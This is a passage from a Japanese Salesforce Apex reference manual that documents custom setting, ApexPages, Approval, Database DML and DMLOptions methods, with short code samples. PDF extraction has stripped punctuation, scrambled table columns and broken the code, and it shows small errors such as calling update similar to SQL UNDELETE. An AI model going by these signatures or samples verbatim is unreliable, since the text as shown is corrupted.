DateTime値DateTime

Double値Double

オブジェクトのプライマリキー項目ID

Integer値Integer

文字列値String

時間の値Time

カスタム設定メソッド

カスタム設定メソッドはすべてのインスタンスメソッドのことを指しますつまりカスタム設定の特定のインスタンスで呼び出され操作しますカスタム設定には階層とリストの 2 種類がありますメソッドはリストカスタム設定を処理するメソッドおよび階層カスタム設定を処理するメソッドに分類されます

参照 Version 180 | Apex sObject メソッド | 256

次にリストカスタム設定のインスタンスメソッドを示します

表 1 リストカスタム設定メソッド

説明戻り値の型引数名前

カスタム設定に定義されたデータセットのマップを返します

MapltStringData_set_nameCustomSetting__cgt

getAll

指定された dataset_nameのカスタム設定データセットを返しますこのメソッドは

CustomSetting__cStringdataset_name

getInstance

getValues(dataset_name)と同じオブジェクトを返します

指定された dataset_nameのカスタム設定データセットを返しますこのメソッドは

CustomSetting__cStringdataset_name

getValues

getInstance(dataset_name)と同じオブジェクトを返します

次に階層カスタム設定のインスタンスメソッドを示します

表 2 階層カスタム設定メソッド

説明戻り値の型引数名前

実行ユーザに基づいて「最下位レベル」のカスタム設定レコードを返しますたとえば「システ

CustomSetting__cgetInstance

ム管理者」というプロファイルそして組織全体にに定義されたデータ「山田太郎」というデータがありコードを実行するユーザが山田太郎である場合このメソッドは山田太郎に定義されたされたデータセットを返します実行ユーザが「井上花子」で「システム管理者」プロファイルを共有しているが井上花子にユーザとして定義されたデータがない場合このメソッドはプロファイルレベルで定義されたデータセットを返します

指定されたUser_Idのカスタム設定データセットを返しますユーザレベルのカスタム設定のデータを明示的に取得する場合に使用します

CustomSetting__cID User_IdgetInstance

指定されたProfile_Idのカスタム設定データセットを返しますプロファイルレベルのカスタム設定のデータを明示的に取得する場合に使用します

CustomSetting__cID Profile_IdgetInstance

組織のカスタム設定データセットを返しますCustomSetting__cgetOrgDefaults

指定されたUser_Idのカスタム設定データセットを返しますユーザレベルで定義されているカス

CustomSetting__cID User_IdgetValues

タム設定データのサブセットが必要な場合にのみ使用しますたとえば組織レベルで「foo」の値

参照 Version 180 | Apex sObject メソッド | 257

説明戻り値の型引数名前

を割り当てられているカスタム設定項目がありユーザレベルまたはプロファイルレベルで値が割り当てられていないとしますgetValues(User_Id)はカスタム設定項目にNULL を返します

指定されたProfile_Idのカスタム設定データセットを返しますプロファイルレベルで定義されて

CustomSetting__cID Profile_IdgetValues

いるカスタム設定データのサブセットが必要な場合にのみ使用しますたとえば組織レベルで「foo」の値を割り当てられているカスタム設定項目がありユーザレベルまたはプロファイルレベルで値が割り当てられていないとしますgetValues(Profile_Id)はカスタム設定項目にNULL を返します

カスタム設定の詳細はSalesforcecom オンラインヘルプの「カスタム設定の概要」を参照してください

カスタム設定の例

次の例ではGames というリストカスタム設定を使用しますGames には GameTypeという項目があります最初のデータセットの値が文字列 PCがどうかを決定します

ListltGames__Cgt mcs = Games__cgetall()values() boolean textField = null if(mcs[0]GameType__c == PC) textField = true systemassertEquals(textField true)

次の例では階層カスタム設定 GamesSupport には Corporate_numberという項目がありますコードは pidで指定されたプロファイルの値を返します

GamesSupport__c mhc = GamesSupport__cgetInstance(pid) string mPhone =mhcCorporate_number__c

getValuesメソッドを使用した場合例は同じになります

階層カスタム設定の例

次の例ではHierarchy という階層カスタム設定を使用しますHierarchy にはOverrideMeおよびDontOverrideMeという 2 つの項目がありますまたユーザ Robert には System Administrator プロファイルがありますこの例の組織プロファイルユーザ設定は次のようになります

組織の設定OverrideMe Hello

DontOverrideMe World

プロファイルの設定OverrideMe Goodbye

DontOverrideMeは設定されません

参照 Version 180 | Apex sObject メソッド | 258

ユーザ設定OverrideMe Fluffy

DontOverrideMeは設定されません

次の例はRobert が組織で getInstanceメソッドを呼び出した場合の結果を示します

Hierarchy__c CS = Hierarchy__cgetInstance() SystemAssert(CSOverrideMe__c == Fluffy)Systemassert(CSDontOverrideMe__c == World)

Robert が RobertIdで指定したユーザ ID を getInstanceに渡すと結果は同じになりますこれはカスタム設定のデータの最下位レベルがユーザレベルで指定されるためです

Hierarchy__c CS = Hierarchy__cgetInstance(RobertId) SystemAssert(CSOverrideMe__c ==Fluffy) Systemassert(CSDontOverrideMe__c == World)

Robert が SysAdminIDで指定された System Administrator プロファイル ID を getInstanceに渡すと結果は異なりますプロファイルに指定されたデータが返されます

Hierarchy__c CS = Hierarchy__cgetInstance(SysAdminID) SystemAssert(CSOverrideMe__c ==Goodbye) Systemassert(CSDontOverrideMe__c == World)

Robert が getOrgDefaultsを使用して組織のデータセットを返そうとする場合結果は次のようになります

Hierarchy__c CS = Hierarchy__cgetOrgDefaults() SystemAssert(CSOverrideMe__c == Hello)Systemassert(CSDontOverrideMe__c == World)

getValuesメソッド使用してRobert はユーザ設定およびプロファイル設定特有の階層カスタム設定値を取得できますたとえばRobert がユーザ ID RobertIdを getValuesに渡す場合結果は次のようになります

Hierarchy__c CS = Hierarchy__cgetValues(RobertId) SystemAssert(CSOverrideMe__c ==Fluffy) Note how this value is null because you are returning data specific forthe user Systemassert(CSDontOverrideMe__c == null)

Robert が System Administrator プロファイル ID SysAdminIDを getInstanceに渡すと結果は次のようになります

Hierarchy__c CS = Hierarchy__cgetValues(SysAdminID) SystemAssert(CSOverrideMe__c ==Goodbye) Note how this value is null because you are returning data specific forthe profile Systemassert(CSDontOverrideMe__c == null)

System メソッド

Apex システムメソッド次の Apex システムメソッドはデータを処理する特別なクラスおよびメソッドです

bull ApexPagesbull Approvalbull データベース

参照 Version 180 | System メソッド | 259

Database Batch-- Database DMLOptions- Database EmptyRecycleBinResult- Database Error

bull Limitsbull Mathbull Packagebull Searchbull Systembull Test

ApexPages メソッド

現在のページを参照するだけでなく現在のページに関連するメッセージの追加やチェックをするために ApexPagesを使用しますさらにApexPages は PageReferenceクラスおよび Messageクラスの名前空間として使用されます

次の表にApexPages メソッドの一覧を示します

説明戻り値の型引数名前

現在のページのコンテキストにメッセージを追加しますメッセージについての詳細は「メッセージクラス (ページ 325)」を参照してください

VoidsObjectApexPagesMessage

addMessage

発生した例外に基づいて現在のページのコンテキストにメッセージのリストを追加しますメッ

VoidException exaddMessages

セージについての詳細は「Messageクラス (ページ 325)」を参照してください

現在のコンテキストに関連したメッセージのリストを返しますメッセージについての詳細は

ApexPagesMessage[]getMessages

「メッセージクラス (ページ325)」を参照してください

現在のコンテキストに関連したメッセージが存在する場合は trueをそれ以外の場合は falseを

BooleanhasMessages

返しますメッセージについての詳細は「メッセージクラス (ページ325)」を参照してください

指定された重要度のメッセージが存在する場合はtrueをそれ以外の場合は falseを返します

BooleanApexPagesSeverityhasMessages

メッセージについての詳細は「Messageクラス(ページ 325)」を参照してください

Approval メソッド

次の表では静的 Approval メソッドを示していますApproval はProcessRequestクラスおよびProcessResult

クラスの名前空間として使用されます

参照 Version 180 | Apex システムメソッド | 260

説明戻り値の型引数名前

新しい承認要求を送信し既存の承認要求を承認または拒否します

アカウントを挿入

ApprovalProcessResultApprovalProcessRequestProcessRequest

process

Account a = new Account(Name=TestannualRevenue=1000)

insert a

アカウントの承認要求を作成ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest()req1setObjectId(aid)

アカウントの承認要求を送信ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest()req1setObjectId(aid)

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

新しい承認要求を送信し既存の承認要求を承認または拒否します

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこの

ApprovalProcessResultApprovalProcessRequestProcessRequests

Booleanopt_allOrNone

process

パラメータを偽に設定し認証が失敗した場合でも残りの承認プロセスをを成功させることができます

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

新しい承認要求のリストを送信し既存の承認要求を承認または拒否します

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

ApprovalProcessResult[]

ApprovalProcessRequest[]ProcessRequests

process

新しい承認要求のリストを送信し既存の承認要求を承認または拒否します

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこの

ApprovalProcessResult[]

ApprovalProcessRequest[]ProcessRequests

Booleanopt_allOrNone

process

パラメータを偽に設定し認証が失敗した場合でも残りの承認プロセスをを成功させることができます

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

参照 Version 180 | Apex システムメソッド | 261

Database メソッド

次にDatabase のシステム静的メソッドを示します

説明戻り値の型引数名前

リードを取引先および連絡先オプションで商談に変換します

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

DatabaseLeadConvertResult

LeadConvertleadToConvert

Boolean opt_allOrNone

convertLead

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

LeadConvert オブジェクトのリストを取引先および連絡先オプションで商談に変換します

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

DatabaseLeadConvertResult[]

LeadConvert[]leadsToConvert

Boolean opt_allOrNone

convertLead

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

実行時に動的 SOQL クエリが返すレコード数を返します例String QueryString = SELECT count()FROM Account Integer I =DatabasecountQuery(QueryString)

IntegerString querycountQuery

詳細は「動的 SOQL」 (ページ140)を参照してください

組織のデータから個別の取引先または取引先担当者など既存の sObject を削除します

DeleteResultSObject recordToDelete

Boolean opt_allOrNone

delete

deleteはForcecom Web サービス API のdelete()ステートメントに似ています

参照 Version 180 | Apex システムメソッド | 262

説明戻り値の型引数名前

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

組織のデータから個別の取引先または取引先責任者など既存の sObject レコード のリ

DeleteResult[]SObject[] recordsToDelete

Boolean opt_allOrNone

delete

ストを削除しますdeleteはForcecomWebサービス API の delete()ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

組織のデータから個別の取引先または取引先責任者など既存の sObject レコード を削

DeleteResultRecordID ID

Boolean opt_allOrNone

delete

除しますdeleteはForcecom Web サービス API の delete()ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

参照 Version 180 | Apex システムメソッド | 263

説明戻り値の型引数名前

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

組織のデータから個別の取引先または取引先責任者など既存の sObject レコード のリ

DeleteResult[]RecordIDs []IDs

Boolean opt_allOrNone

delete

ストを削除しますdeleteはForcecomWebサービス API の delete()ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

指定したレコードまたは sObjects がごみ箱から完全に削除されます次の点に注意してください

DatabaseEmptyRecycleBinResult[]

RecordIds []IdsemptyRecycleBin

bull このメソッドを使用してレコードが削除されると削除を取り消すことはできません

bull 削除に指定できるのは最大 200 件のレコードです

bull ログインしているユーザは自身のごみ箱にあるレコードまたは下位のごみ箱にあるレコードの中でクエリ可能なものはすべて削除できますログインしているユーザが「すべてのデータの編集」権限を持っている場合組織内のすべてのごみ箱のレコードへのクエリまたはレコードの削除を実行できます

bull カスケード削除レコード ID は ID のリストに含まれませんリストに含まれるとエラーが発生しますたとえば取引先レコードが削除されると関連するすべての取引先担当者商談取引先担当者なども削除されます上位レベルの取引先の IDだけが含まれます関連するすべてのレコードは自動的に削除されます

参照 Version 180 | Apex システムメソッド | 264

説明戻り値の型引数名前

bull DML 文によって処理された項目の数に削除された項目が追加され発行されたDML 文の合計数にメソッド呼び出しが追加されますemptyRecycleBinメソッドではDML ガバナ制限が使用されます

指定した sObjects がごみ箱から完全に削除されます次の点に注意してください

DatabaseEmptyRecycleBinResult

sObject sObjectemptyRecycleBin

bull このメソッドを使用して sObject が削除されると削除を取り消すことはできません

bull 削除に指定できるのは最大 200 件のsObjects です

bull ログインしているユーザは自身のごみ箱にある sObjectsまたは下位のごみ箱にあるレコードの中でクエリ可能なものはすべて削除できますログインしているユーザが「すべてのデータの編集」権限を持っている場合組織内のすべてのごみ箱のsObjects へのクエリまたはレコードの削除を実行できます

bull カスケード削除により削除された sObjectは含まないでください含まれる場合エラーが発生しますたとえば取引先が削除されると関連するすべての取引先担当者商談取引先担当者なども削除されます上位レベルの取引先の sObjects だけが含まれます関連するすべての sObjects は自動的に削除されます

bull DML 文によって処理された項目の数に削除された項目が追加され発行されたDML 文の合計数にメソッド呼び出しが追加されますemptyRecycleBinメソッドではDML ガバナ制限が使用されます

指定した sObject がごみ箱から完全に削除されます次の点に注意してください

DatabaseEmptyRecycleBinResult[]

sObjects []listOfSObjectsemptyRecycleBin

bull このメソッドを使用して sObject が削除されると削除を取り消すことはできません

bull 削除に指定できるのは最大 200 件のsObjects です

bull ログインしているユーザは自身のごみ箱にある sObjectsまたは下位のごみ箱にあるレコードの中でクエリ可能なものはす

参照 Version 180 | Apex システムメソッド | 265

説明戻り値の型引数名前

べて削除できますログインしているユーザが「すべてのデータの編集」権限を持っている場合組織内のすべてのごみ箱のsObjects へのクエリまたはレコードの削除を実行できます

bull カスケード削除により削除された sObjectは含まないでください含まれる場合エラーが発生しますたとえば取引先が削除されると関連するすべての取引先担当者商談取引先担当者なども削除されます上位レベルの取引先の sObjects だけが含まれます関連するすべての sObjects は自動的に削除されます

bull DML 文によって処理された項目の数に削除された項目が追加され発行されたDML 文の合計数にメソッド呼び出しが追加されますemptyRecycleBinメソッドではDML ガバナ制限が使用されます

指定したクラスを Apex の一括処理ジョブとして実行します詳細は「Apexの一括処理の使用 (ページ 146)」を参照してください

IDsObject classNameexecuteBatch

メモ executeBatchメソッドによって呼び出されたクラスは executeメソッドを実装します組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができます

指定したクラスを Apex の一括処理ジョブとして実行しますscopeの値は 0 より大きく

IDsObject className Integerscope

executeBatch

なければなりません詳細は「Apexの一括処理の使用 (ページ 146)」を参照してください

メモ executeBatchメソッドによって呼び出されたクラスは executeメソッドを実装します組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができます

ApexまたはVisualforceの一括処理で使用される QueryLocator オブジェクトを作成します

QueryLocatorsObject [] listOfQueriesgetQueryLocator

詳細は「データベースのバッチ Apex オブジェクトとメソッド (ページ 273)」「Apexによる共有管理について (ページ153)」および

参照 Version 180 | Apex システムメソッド | 266

説明戻り値の型引数名前

「StandardSetController クラス (ページ 334)」を参照してください

集計関数を含むクエリと getQueryLocator

を使用することはできません

ApexまたはVisualforceの一括処理で使用される QueryLocator オブジェクトを作成します

QueryLocatorString querygetQueryLocator

詳細は「データベースのバッチ Apex オブジェクトとメソッド (ページ 273)」「Apexによる共有管理について (ページ153)」および「StandardSetController クラス (ページ 334)」を参照してください

集計関数を含むクエリと getQueryLocator

を使用することはできません

個別の取引先または取引先責任者などsObjectを組織のデータに追加しますinsertは SQLの INSERT ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

SaveResultsObject recordToInsert

Boolean opt_allOrNone |databaseDMLOptionsopt_DMLOptions

insert

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など1 つまたは複数の sObject を組織のデータに追加

SaveResult[]sObject [] recordsToInsert

Boolean opt_allOrNone |databaseDMLOptionsopt_DMLOptions

insert

しますinsertは SQL の INSERT ステートメントに似ています

参照 Version 180 | Apex システムメソッド | 267

説明戻り値の型引数名前

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

動的 SOQL クエリを実行時に作成しますこのメソッドは精機の割り当てステートメン

sObject[]String queryquery

トやforループなど静的 SOQL クエリが使用できる場合に使用できます

詳細は「動的 SOQL」 (ページ140)を参照してください

データベースをsavepoint 変数で指定された状態に復元します最後の savepoint 後に送信

VoidSystemSavepoint sprollback

された電子メールもロールバックされ送信されません

rollbackによるデータベースの復元はすべてのコンテキストでつまりトリガ匿名ブロックWSDLメソッドまたはユニットテストで20回まで実行できますそれ以上の回数をロールバックしようとするとランタイムエラーが発生します

ローカル変数として保存できrollbackメソッドと使用してデータベースをその時点に復元できる savepoint 変数を返します

複数の savepoint を設定しかつ生成した最後の savepoint でない savepoint にロールバックす

SystemSavepointsetSavepoint

ると後の savepoint 変数が無効となります

参照 Version 180 | Apex システムメソッド | 268

説明戻り値の型引数名前

たとえば最初にsavepoint SP1を生成次にsavepoint SP2を生成したとしてSP1にロールバックすると変数 SP2は無効となりますこの際SP2 を使用しようとするとランタイムエラーが発生します

savepoints への参照は各トリガ呼び出しが新しい実行コンテクストであるため複数のトリガと共有することはできません静的変数として savepoint を宣言しトリガコンテキスト全体で使用しようとする場合ランタイムエラーが発生します

すべてのコンテキストでつまりトリガ匿名ブロックWSDL メソッドまたはユニットテストで 5 つの savepoint のみを設定できます追加の savepoint を設定しようとするとランタイムエラーが発生します

個別の取引先または取引先責任者など既存の sObject を組織のごみ箱から復元します

UndeleteResultsObject recordToUndelete

Boolean opt_allOrNone

undelete

undeleteは SQL の UNDELETE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など1 つまたは複数の sObject を組織のごみ箱から復

UndeleteResult[]sObject []recordsToUndelete

Boolean opt_allOrNone

undelete

元します undeleteは SQL の UNDELETEステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよび

参照 Version 180 | Apex システムメソッド | 269

説明戻り値の型引数名前

その理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など既存の sObject を組織のごみ箱から復元します

UndeleteResultRecordID ID

Boolean opt_allOrNone

undelete

undeleteは SQL の UNDELETE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など1 つまたは複数の sObject を組織のごみ箱から復

UndeleteResult[]RecordIDs[] ID

Boolean opt_allOrNone

undelete

元します undeleteは SQL の UNDELETEステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など組織のデータの既存の sObject を変更します

DatabaseSaveResultsObject recordToUpdate

Boolean opt_allOrNone |databaseDMLOptionsopt_DMLOptions

update

updateは SQL の UPDATE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

参照 Version 180 | Apex システムメソッド | 270

説明戻り値の型引数名前

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など組織のデータの 1 つまたは複数の既存の sObject

DatabaseSaveResult[]

sObject [] recordsToUpdate

Boolean opt_allOrNone

update

を変更します updateは SQL のUNDELETE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

|

databaseDMLOptionsopt_DMLOptions

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

参照 Version 180 | Apex システムメソッド | 271

説明戻り値の型引数名前

既存オブジェクトの有無を指定するオプションのカスタム項目を使用して単一ステート

DatabaseUpsertResultsObject recordToUpsert

SchemaSObjectFieldExternal_ID_Field

upsert

メント内に新しい sObject レコードを作成または既存の sObject レコードを更新します

External_ID_Fieldは SchemaSObjectFieldつまり項目トークンですfields特殊メソッ

Boolean opt_allOrNone

ドを使用して項目のトークンを検索しますたとえばSchemaSObjectField f =

AccountFieldsMyExternalIdとなります

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

既存オブジェクトの有無を指定するオプションのカスタム項目を使用

External_ID_Fieldは SchemaSObjectFieldつまり項目トークンですfields特殊メソッ

DatabaseUpsertResult[]

sObject [] recordsToUpsert

SchemaSObjectFieldExternal_ID_Field

Boolean opt_allOrNone

upsert

ドを使用して項目のトークンを検索しますたとえばSchemaSObjectField f =

AccountFieldsMyExternalIdとなります

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

参照 Version 180 | Apex システムメソッド | 272

説明戻り値の型引数名前

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

データベースバッチ Apex オブジェクトとメソッド

DatabaseQueryLocator メソッド

次の表では DatabaseQueryLocator オブジェクトのメソッドを記載しています

説明戻り値の型引数名前

DatabaseQueryLocator オブジェクトのインスタンス化に使用するクエリを返しますstartメソッドをテストする場合に役立ちます例

SystemassertEquals(QLReturnedFromStartgetQuery()

StringgetQuery

DatabasegetQueryLocator([SELECT Id FROMAccount])getQuery() )

getQueryLocator クエリとともに FOR UPDATEキーワードを使用して一連のレコードをロックすることはできませんstartメソッドはバッチのレコードのセットを自動的にロックします

データベース DMLOptions メソッド

databaseDMLOptions オブジェクトを使用して項目の切り捨て動作または割り当てルール情報を指定するなどトランザクション時の追加情報を提供しますDMLOptions はAPI バージョン 150 以上で保存された Apex スクリプトにのみ使用できます

DatabaseDMLOptions オブジェクトには次のメソッドがあります

bull allowFieldTruncationメソッドbull assignmentRuleHeaderメソッドbull emailHeaderメソッドbull localeOptionsメソッド

参照 Version 180 | Apex システムメソッド | 273

allowFieldTruncationメソッド

allowFieldTruncationメソッドは文字列の切り捨て動作を指定しますバージョン 150 より前の API に対して保存されたApexスクリプトでは文字列に値を指定しその値が大きすぎる場合値は切り捨てられますAPIバージョン 150 以降では大きすぎる値が指定されると操作は失敗しエラーメッセージが返されますallowFieldTruncationメソッドを使用するとAPIバージョン 150 以降に対して保存されたApexスクリプトの新しい動作ではなく以前の動作である切り捨てを使用するように指定できます

allowFieldTruncationメソッドは Boolean 値を使用しますtrueの場合長すぎる文字列値を切り捨てますこれは API バージョン 140 以前の動作です例

DatabaseDMLOptions dml = new DatabaseDMLOptions() dmlallowFieldTruncation = true

assignmentRuleHeaderメソッド

assignmentRuleHeaderメソッドは取引先作成時に使用する割り当てルールを指定します

メモ databaseDMLOptions オブジェクトはケースおよびリードの割り当てルールをサポートしますが取引先またはテリトリー管理の割り当てルールはサポートしません

次にassignmentRuleHeaderで設定できるオプションを示します

説明型名前

ケースまたはリードに実行する特定の割り当てルールのID を指定します割り当てルールを有効または無効にで

IDassignmentRuleID

きますID はAssignmentRule sObject を問い合わせて取得することができますassignmentRuleId が指定されている場合はuseDefaultRuleを指定しないでください

値が適切な ID 形式 (15 文字または 18 文字のSalesforcecom ID) でない場合コールは失敗し例外が返されます

ケースまたはリードの trueとして指定した場合システムはケースまたはリードのデフォルト (アクティブな)

BooleanuseDefaultRule

割り当てルールを使用しますuseDefaultRule が指定されている場合はassignmentRuleIdを指定しないでください

以下の例ではuseDefaultRuleオプションを使用します

DatabaseDMLOptions dmo = new DatabaseDMLOptions() dmoassignmentRuleHeaderuseDefaultRule=true

Lead l = new Lead(company=ABC lastname=Smith) lsetOptions(dmo)

insert l

参照 Version 180 | Apex システムメソッド | 274

以下の例ではassignmentRuleIDオプションを使用します

DatabaseDMLOptions dmo = new DatabaseDMLOptions()dmoassignmentRuleHeaderassignmentRuleId= 01QD0000000EqAn Lead l = new Lead(company=ABClastname=Smith) lsetOptions(dmo)

insert l

emailHeaderメソッド

Salesforcecomユーザインターフェースを使用して次のようなイベントが発生した場合に電子メールを送信するかしないかを指定します

bull ケースまたは ToDo の新規作成bull ケースのコメントの作成bull ケースの電子メールの取引先担当者への変換bull 新規ユーザの電子メール通知bull パスワードのリセット

API バージョン 150 に対して保存された Apex スクリプトでDatabaseDMLOptions emailHeaderメソッドを使用するとスクリプトの実行によりイベントのいずれかが発生したときに送信される電子メールに関する追加情報を指定できます

次にemailHeaderメソッドで設定できるオプションを示します

説明型名前

リードケースに対して自動応答ルールをトリガする(true) かトリガしない (false) かを示します

BooleantriggerAutoResponseEmail

Salesforcecomユーザインターフェースでこの電子メールはケースの作成やユーザパスワードのリセットなどさまざまなイベントによって自動的にトリガされますこの値が trueに設定されている場合ケースが作成されるとContactIDに指定された連絡先の電子メールアドレスがあれば電子メールはそのアドレスに送信されますアドレスがない場合電子メールはSuppliedEmailで指定されたアドレスに送信されます

組織外の電子メールをトリガする (true) かトリガしない (false) かを示しますSalesforcecomユーザインター

BooleantriggerOtherEmail

フェースでこの電子メールはケースの連絡先の作成編集削除によって自動的にトリガされます

組織内のユーザに送信される電子メールをトリガする(true) かトリガしない (false) かを示します

BooleantriggerUserEmail

Salesforcecomユーザインターフェースでこの電子メールはパスワードのリセットユーザの新規作成コメントのケースへの追加タスクの作成または変更などさまざまなイベントによって自動的にトリガされます

参照 Version 180 | Apex システムメソッド | 275

次の例ではtriggerAutoResponseEmailオプションが指定されます

Account a = new Account(name=Acme Plumbing) insert a Contact c = newContact(email=jplumbersalesforcecom firstname=Joelastname=Plumber accountid=aid)insert c DatabaseDMLOptions dlo = new DatabaseDMLOptions()dloEmailHeadertriggerAutoResponseEmail = true Case ca = new Case(subject=PlumbingProblems contactid=cid) databaseinsert(ca dlo)

